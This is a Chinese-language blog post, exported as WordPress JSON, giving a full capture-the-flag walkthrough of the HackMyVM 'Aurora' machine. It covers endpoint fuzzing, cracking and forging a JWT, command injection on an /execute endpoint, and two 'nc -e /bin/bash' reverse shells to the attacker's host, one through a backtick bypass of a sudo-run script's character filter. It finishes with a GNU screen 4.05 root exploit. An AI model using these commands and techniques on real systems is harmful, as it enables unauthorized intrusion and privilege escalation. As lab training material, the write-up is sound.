{"id":608,"date":"2024-04-22T22:00:59","date_gmt":"2024-04-22T14:00:59","guid":{"rendered":"http:\/\/162.14.82.114\/?p=608"},"modified":"2024-04-23T20:49:28","modified_gmt":"2024-04-23T12:49:28","slug":"hmv-_-aurora","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/608\/04\/22\/2024\/","title":{"rendered":"hmv[-_-]Aurora"},"content":{"rendered":"

Aurora<\/h1>\n

\"image-20240422210327369\"<\/div>
\n
\"image-20240422210410846\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ rustscan -a 192.168.0.105 -- -A\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83c\udf0dHACK THE PLANET\ud83c\udf0d\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.105:22\nOpen 192.168.0.105:3000\n[~] Starting Script(s)\n[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")\n\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-22 09:00 EDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 09:00\nCompleted NSE at 09:00, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 09:00\nCompleted NSE at 09:00, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 09:00\nCompleted NSE at 09:00, 0.00s elapsed\nInitiating Ping Scan at 09:00\nScanning 192.168.0.105 [2 ports]\nCompleted Ping Scan at 09:00, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 09:00\nCompleted Parallel DNS resolution of 1 host. at 09:00, 0.01s elapsed\nDNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating Connect Scan at 09:00\nScanning aurora (192.168.0.105) [2 ports]\nDiscovered open port 22\/tcp on 192.168.0.105\nDiscovered open port 3000\/tcp on 192.168.0.105\nCompleted Connect Scan at 09:00, 0.00s elapsed (2 total ports)\nInitiating Service scan at 09:00\nScanning 2 services on aurora (192.168.0.105)\nCompleted Service scan at 09:00, 11.20s elapsed (2 services on 1 host)\nNSE: Script scanning 192.168.0.105.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 09:00\nCompleted NSE at 09:00, 0.27s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 09:00\nCompleted NSE at 09:00, 0.01s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 09:00\nCompleted NSE at 09:00, 0.00s elapsed\nNmap scan report for aurora (192.168.0.105)\nHost is up, received conn-refused (0.00029s latency).\nScanned at 2024-04-22 09:00:10 EDT for 12s\n\nPORT     STATE SERVICE REASON  VERSION\n22\/tcp   open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n|   3072 db:f9:46:e5:20:81:6c:ee:c7:25:08:ab:22:51:36:6c (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQGwzNlaaGEELNmSaaA5KPNGnxOCBP8oa7QB1kl8hkIrIGanBlB8e+lifNATIlUM57ReHEaoIiJMZLQlMTATjzQ3g76UxpkRMSfFMfjOwBr3T9xAuggn11GkgapKzgQXop1xpVnpddudlA2DGT56xhfAefOoh9LV\/Sx5gw\/9sH+YpjYZNn4WYrfHuIcvObaa1jE7js8ySeIRQffj5n6wX\/eq7WbohB6yFcLb1PBvnfNhvqgyvwcCWiwZoNhRMa+0ANpdpZyOyKQcbR51w36rmgJI0Y9zLIyjHvtxiNuncns0KFvlnS3JXywv277OvJuqhH4ORvXM9kgSKebGV+\/5R0D\/kFmUA0Q4o1EEkpwzXiiUTLs6j4ZwNojp3iUVWT6Wb7BmnxjeQzG05LXkoavc63aNf+lcSh9mQsepQNo5aHlHzMefPx\/j2zbjQN8CHCxOPWLTcpFlyQSZjjnpGxwYiYyqUZ0sF8l9GWtj6eVgeScGvGy6e0YTPG9\/d6o2oWdMM=\n|   256 33:c0:95:64:29:47:23:dd:86:4e:e6:b8:07:33:67:ad (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFwHzjIh47PVCBqaldJCFibsrsU4ERboGRj1+5RNyV5zFxNTNpdu8f\/rNL9s0p7zkqERtD2xb4zBIl6Vj9Fpdxw=\n|   256 be:aa:6d:42:43:dd:7d:d4:0e:0d:74:78:c1:89:a1:36 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOUM7hNt+CcfC4AKOuJumfdt3GCMSintNt9k0S2tA1XS\n3000\/tcp open  http    syn-ack Node.js Express framework\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Error\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 09:00\nCompleted NSE at 09:00, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 09:00\nCompleted NSE at 09:00, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 09:00\nCompleted NSE at 09:00, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 11.80 seconds<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.105:3000\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.105:3000\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,zip,bak,jpg,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\nProgress: 122569 \/ 1543927 (7.94%)^C\n[!] Keyboard interrupt detected, terminating.\nProgress: 122578 \/ 1543927 (7.94%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
Cannot GET \/<\/code><\/pre>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ ffuf -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -u http:\/\/192.168.0.105:3000\/FUZZ -X POST \n\n        \/'___\\  \/'___\\           \/'___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : POST\n :: URL              : http:\/\/192.168.0.105:3000\/FUZZ\n :: Wordlist         : FUZZ: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n________________________________________________\n\nlogin                   [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 347ms]\nLogin                   [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 51ms]\nexecute                 [Status: 401, Size: 12, Words: 1, Lines: 1, Duration: 18ms]\nLogIn                   [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 80ms]\nLOGIN                   [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 53ms]\n:: Progress: [220560\/220560] :: Job [1\/1] :: 2409 req\/sec :: Duration: [0:01:40] :: Errors: 0 ::<\/code><\/pre>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.105:3000\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html -m POST\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.105:3000\/\n[+] Method:                  POST\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              zip,bak,jpg,txt,html,php\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/login                (Status: 401) [Size: 22]\n\/register             (Status: 400) [Size: 29]\n\/Login                (Status: 401) [Size: 22]\n\/Register             (Status: 400) [Size: 29]\n\/execute              (Status: 401) [Size: 12]\n\/LogIn                (Status: 401) [Size: 22]\n\/LOGIN                (Status: 401) [Size: 22]\nProgress: 1543920 \/ 1543927 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u8fdb\u884c\u63a2\u6d4b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/login -X POST\nIdentifiants invalides                                                                                                                                                        \n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/LOGIN -X POST\nIdentifiants invalides                                                                                                                                                        \n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/Login -X POST \nIdentifiants invalides                                                                                                                                                        \n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/LogIn -X POST\nIdentifiants invalides                                                                                                                                                        \n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/execute -X POST\nUnauthorized<\/code><\/pre>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl curl http:\/\/192.168.0.105:3000\/register -X POST\ncurl: (6) Could not resolve host: curl\nThe "role" field is not valid<\/code><\/pre>\n
FUZZ role<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ ffuf -w \/usr\/share\/seclists\/Discovery\/Web-Content\/api\/objects.txt -u http:\/\/192.168.0.105:3000\/register -X POST -H "Content-Type: application\/json" -d '{"role":"FUZZ"}'  \n\n        \/'___\\  \/'___\\           \/'___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : POST\n :: URL              : http:\/\/192.168.0.105:3000\/register\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Discovery\/Web-Content\/api\/objects.txt\n :: Header           : Content-Type: application\/json\n :: Data             : {"role":"FUZZ"}\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n________________________________________________\n\nadmin                   [Status: 401, Size: 16, Words: 3, Lines: 1, Duration: 80ms]\nuser                    [Status: 500, Size: 32, Words: 5, Lines: 1, Duration: 113ms]\n:: Progress: [3132\/3132] :: Job [1\/1] :: 625 req\/sec :: Duration: [0:00:05] :: Errors: 0 ::<\/code><\/pre>\n
\u63a5\u7740\u8bbf\u95ee\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/register -X POST -H "Content-Type: application\/json" -d '{"role":"user"}'   \nColumn 'username' cannot be null                                                                                                                                                        \n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/register -X POST -H "Content-Type: application\/json" -d '{"role":"user","username":"hack"}'  \nColumn 'password' cannot be null                                                                                                                                                        \n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/register -X POST -H "Content-Type: application\/json" -d '{"role":"user","username":"hack","password":"hack"}'  \nRegistration OK\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/register -X POST -H "Content-Type: application\/json" -d '{"role":"admin"}'  \nNot authorized ! <\/code><\/pre>\n
\u6ce8\u518c\u6210\u529f\u4e86\uff01<\/p>\n
\u767b\u5f55<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/login -X POST -H "Content-Type: application\/json" -d '{"role":"user","username":"hack","password":"hack"}'  \n{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhY2siLCJyb2xlIjoidXNlciIsImlhdCI6MTcxMzc5MzA3NH0.l5WyZ6eFhVO2794_nnSzYQvgKu20io4RGtSxuc7YYB0"}<\/code><\/pre>\n
\u5f88\u660e\u663ejwt\uff0c\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240422213920771\"<\/div><\/p>\n
\u7206\u7834\u4e00\u4e0b\u5bc6\u94a5\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/jwt_tool]\n\u2514\u2500$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhY2siLCJyb2xlIjoidXNlciIsImlhdCI6MTcxMzc5MzA3NH0.l5WyZ6eFhVO2794_nnSzYQvgKu20io4RGtSxuc7YYB0 -C -d \/usr\/share\/wordlists\/rockyou.txt \n\n        \\   \\        \\         \\          \\                    \\ \n   \\__   |   |  \\     |\\__    __| \\__    __|                    |\n         |   |   \\    |      |          |       \\         \\     |\n         |        \\   |      |          |    __  \\     __  \\    |\n  \\      |      _     |      |          |   |     |   |     |   |\n   |     |     \/ \\    |      |          |   |     |   |     |   |\n\\        |    \/   \\   |      |          |\\        |\\        |   |\n \\______\/ \\__\/     \\__|   \\__|      \\__| \\______\/  \\______\/ \\__|\n Version 2.2.6                \\______|             @ticarpi      \n\nOriginal JWT: \n\n[+] nopassword is the CORRECT key!\nYou can tamper\/fuzz the token contents (-T\/-I) and sign it using:\npython3 jwt_tool.py [options here] -S hs256 -p "nopassword"<\/code><\/pre>\n
\u66f4\u6539\u4e00\u4e0bjwt\uff01\uff01\uff01\uff01<\/p>\n
\"image-20240422214402350\"<\/div><\/p>\n
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzEzNzkzMDc0fQ._RwKQ_EntJ-JfKBf1XFz01kuo2urBrlfPcmwlRL7Q_I<\/code><\/pre>\n
FUZZ execute<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/jwt_tool]\n\u2514\u2500$ ffuf -w \/usr\/share\/seclists\/Discovery\/Web-Content\/api\/objects.txt -u http:\/\/192.168.0.105:3000\/execute -X POST -H "Content-Type: application\/json" -d '{"FUZZ":"value"}' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzEzNzkzMDc0fQ._RwKQ_EntJ-JfKBf1XFz01kuo2urBrlfPcmwlRL7Q_I" -fw 54\n\n        \/'___\\  \/'___\\           \/'___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : POST\n :: URL              : http:\/\/192.168.0.105:3000\/execute\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Discovery\/Web-Content\/api\/objects.txt\n :: Header           : Content-Type: application\/json\n :: Header           : Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzEzNzkzMDc0fQ._RwKQ_EntJ-JfKBf1XFz01kuo2urBrlfPcmwlRL7Q_I\n :: Data             : {"FUZZ":"value"}\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response words: 54\n________________________________________________\n\ncommand                 [Status: 500, Size: 14, Words: 2, Lines: 1, Duration: 82ms]\n:: Progress: [3132\/3132] :: Job [1\/1] :: 930 req\/sec :: Duration: [0:00:03] :: Errors: 0 ::<\/code><\/pre>\n
\u5c1d\u8bd5\u6267\u884c\u547d\u4ee4\uff01<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/jwt_tool]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/execute -X POST -H "Content-Type: application\/json" -d '{"command":"whoami"}' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzEzNzkzMDc0fQ._RwKQ_EntJ-JfKBf1XFz01kuo2urBrlfPcmwlRL7Q_I" \nwww-data<\/code><\/pre>\n
\u53cd\u5f39shell\u8fc7\u6765\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/jwt_tool]\n\u2514\u2500$ curl http:\/\/192.168.0.105:3000\/execute -X POST -H "Content-Type: application\/json" -d '{"command":"nc -e \/bin\/bash 192.168.0.143 1234"}' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzEzNzkzMDc0fQ._RwKQ_EntJ-JfKBf1XFz01kuo2urBrlfPcmwlRL7Q_I"<\/code><\/pre>\n
\"image-20240422214936577\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
(remote) www-data@aurora.hmv:\/opt\/login-app$ sudo -l\nMatching Defaults entries for www-data on aurora:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser www-data may run the following commands on aurora:\n    (doro) NOPASSWD: \/usr\/bin\/python3 \/home\/doro\/tools.py *\n(remote) www-data@aurora.hmv:\/opt\/login-app$ cat \/home\/doro\/tools.py\nimport os\nimport sys\n\ndef main():\n    if len(sys.argv) < 2:\n        print_help()\n        return\n\n    option = sys.argv[1]\n    if option == "--ping":\n        ping()\n    elif option == "--traceroute":\n        traceroute_ip()\n    else:\n        print("Invalid option.")\n        print_help()\n\ndef print_help():\n    print("Usage: python3 network_tool.py <option>")\n    print("Options:")\n    print("--ping           Ping an IP address")\n    print("--traceroute     Perform a traceroute on an IP address")\n\ndef ping():\n    ip_address = input("Enter an IP address: ")\n\n    forbidden_chars = ["&", ";", "(", ")", "||", "|", ">", "<", "*", "?"]\n    for char in forbidden_chars:\n        if char in ip_address:\n            print("Forbidden character found: {}".format(char))\n            sys.exit(1)\n\n    os.system('ping -c 2 ' + ip_address)\n\ndef traceroute_ip():\n    ip_address = input("Enter an IP address: ")\n\n    if not is_valid_ip(ip_address):\n        print("Invalid IP address.")\n        return\n\n    traceroute_command = "traceroute {}".format(ip_address)\n    os.system(traceroute_command)\n\ndef is_valid_ip(ip_address):\n    octets = ip_address.split(".")\n    if len(octets) != 4:\n        return False\n    for octet in octets:\n        if not octet.isdigit() or int(octet) < 0 or int(octet) > 255:\n            return False\n    return True\n\nif __name__ == "__main__":\n    main()<\/code><\/pre>\n
\u53cd\u5f15\u53f7\u53cd\u5f39shell<\/h3>\n
\u5c1d\u8bd5\u6267\u884c\u4e00\u4e0b\uff0c\u53ef\u4ee5\u770b\u5230\u6ca1\u6709\u7981\u7528\u53cd\u5f15\u53f7\uff1a<\/p>\n
(remote) www-data@aurora.hmv:\/opt\/login-app$ sudo -u doro \/usr\/bin\/python3 \/home\/doro\/tools.py --ping\nEnter an IP address: 127.0.0.1 | whoami\nForbidden character found: |\n(remote) www-data@aurora.hmv:\/opt\/login-app$ sudo -u doro \/usr\/bin\/python3 \/home\/doro\/tools.py --ping\nEnter an IP address: `whoami`\nping: doro: Name or service not known\n(remote) www-data@aurora.hmv:\/opt\/login-app$ sudo -u doro \/usr\/bin\/python3 \/home\/doro\/tools.py --ping\nEnter an IP address: `id`\nping: groups=1000(doro): Name or service not known<\/code><\/pre>\n
\u5c1d\u8bd5\u53cd\u5f39shell\uff01<\/p>\n
(remote) www-data@aurora.hmv:\/opt\/login-app$ sudo -u doro \/usr\/bin\/python3 \/home\/doro\/tools.py --ping\nEnter an IP address: `nc -e \/bin\/bash 192.168.0.143 2345`\nstty: 'standard input': Inappropriate ioctl for device\nbash: line 12: ifconfig: command not found\n<\/code><\/pre>\n
\"image-20240422215453134\"<\/div><\/p>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
(remote) doro@aurora.hmv:\/opt\/login-app$ cd \/home\/doro\/\n(remote) doro@aurora.hmv:\/home\/doro$ ls -la\ntotal 36\ndrwxr-xr-x 4 doro doro 4096 Mar  8  2023 .\ndrwxr-xr-x 3 root root 4096 Mar  6  2023 ..\nlrwxrwxrwx 1 root root    9 Mar  3  2023 .bash_history -> \/dev\/null\n-rw-r--r-- 1 doro doro  220 Mar  3  2023 .bash_logout\n-rw-r--r-- 1 doro doro 3526 Mar  3  2023 .bashrc\ndrwxr-xr-x 3 doro doro 4096 Mar  4  2023 .local\n-rw-r--r-- 1 doro doro  807 Mar  3  2023 .profile\ndrwx------ 2 doro doro 4096 Mar  4  2023 .ssh\n-rw-r--r-- 1 root root 1380 Mar  7  2023 tools.py\n-rwx------ 1 doro doro   33 Mar  3  2023 user.txt\n(remote) doro@aurora.hmv:\/home\/doro$ cat user.txt \nccd839df5504a7ace407b5aeca436e81\n(remote) doro@aurora.hmv:\/home\/doro$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/bin\/mount\n\/usr\/bin\/passwd\n\/usr\/bin\/chfn\n\/usr\/bin\/su\n\/usr\/bin\/chsh\n\/usr\/bin\/newgrp\n\/usr\/bin\/gpasswd\n\/usr\/bin\/screen\n\/usr\/bin\/sudo\n\/usr\/bin\/umount\n(remote) doro@aurora.hmv:\/home\/doro$ screen -v\nScreen version 4.05.00 (GNU) 10-Dec-16<\/code><\/pre>\n
screen\u63d0\u6743<\/h3>\n
\"image-20240422215842809\"<\/div><\/p>\n
(remote) doro@aurora.hmv:\/home\/doro$ vim exp.sh\nbash: vim: command not found\n(remote) doro@aurora.hmv:\/home\/doro$ vi exp.sh\n(remote) doro@aurora.hmv:\/home\/doro$ chmod +x exp.sh \n(remote) doro@aurora.hmv:\/home\/doro$ .\/exp.sh \n~ gnu\/screenroot ~\n[+] First, we create our shell and library...\n\/tmp\/libhax.c: In function \u2018dropshell\u2019:\n\/tmp\/libhax.c:7:5: warning: implicit declaration of function \u2018chmod\u2019 [-Wimplicit-function-declaration]\n    7 |     chmod("\/tmp\/rootshell", 04755);\n      |     ^~~~~\n\/tmp\/rootshell.c: In function \u2018main\u2019:\n\/tmp\/rootshell.c:3:5: warning: implicit declaration of function \u2018setuid\u2019 [-Wimplicit-function-declaration]\n    3 |     setuid(0);\n      |     ^~~~~~\n\/tmp\/rootshell.c:4:5: warning: implicit declaration of function \u2018setgid\u2019 [-Wimplicit-function-declaration]\n    4 |     setgid(0);\n      |     ^~~~~~\n\/tmp\/rootshell.c:5:5: warning: implicit declaration of function \u2018seteuid\u2019 [-Wimplicit-function-declaration]\n    5 |     seteuid(0);\n      |     ^~~~~~~\n\/tmp\/rootshell.c:6:5: warning: implicit declaration of function \u2018setegid\u2019 [-Wimplicit-function-declaration]\n    6 |     setegid(0);\n      |     ^~~~~~~\n\/tmp\/rootshell.c:7:5: warning: implicit declaration of function \u2018execvp\u2019 [-Wimplicit-function-declaration]\n    7 |     execvp("\/bin\/sh", NULL, NULL);\n      |     ^~~~~~\n\/tmp\/rootshell.c:7:5: warning: too many arguments to built-in function \u2018execvp\u2019 expecting 2 [-Wbuiltin-declaration-mismatch]\n[+] Now we create our \/etc\/ld.so.preload file...\n[+] Triggering...\n' from \/etc\/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.\n[+] done!\nNo Sockets found in \/tmp\/screens\/S-doro.\n\n# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root),1000(doro)\n# cd \/root\n# ls -la\ntotal 28\ndrwx------  3 root root 4096 Apr  6  2023 .\ndrwxr-xr-x 18 root root 4096 Feb  6  2023 ..\nlrwxrwxrwx  1 root root    9 Feb  6  2023 .bash_history -> \/dev\/null\n-rw-r--r--  1 root root  568 Mar  3  2023 .bashrc\ndrwxr-xr-x  3 root root 4096 Feb  6  2023 .local\n-rw-r--r--  1 root root  161 Jul  9  2019 .profile\n-rwx------  1 root root   33 Feb  6  2023 root.txt\n-rw-r--r--  1 root root   66 Apr  6  2023 .selected_editor\n# cat root.txt\n052cf26a6e7e33790391c0d869e2e40c<\/code><\/pre>\n
\u62ff\u4e0b\uff01Cromiphi<\/code>\u7684\u9776\u573a\u592a\u4f18\u96c5\u4e86\uff01\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
Aurora \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Aurora] \u2514\u2500$ rus […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-608","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/608","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=608"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/608\/revisions"}],"predecessor-version":[{"id":619,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/608\/revisions\/619"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2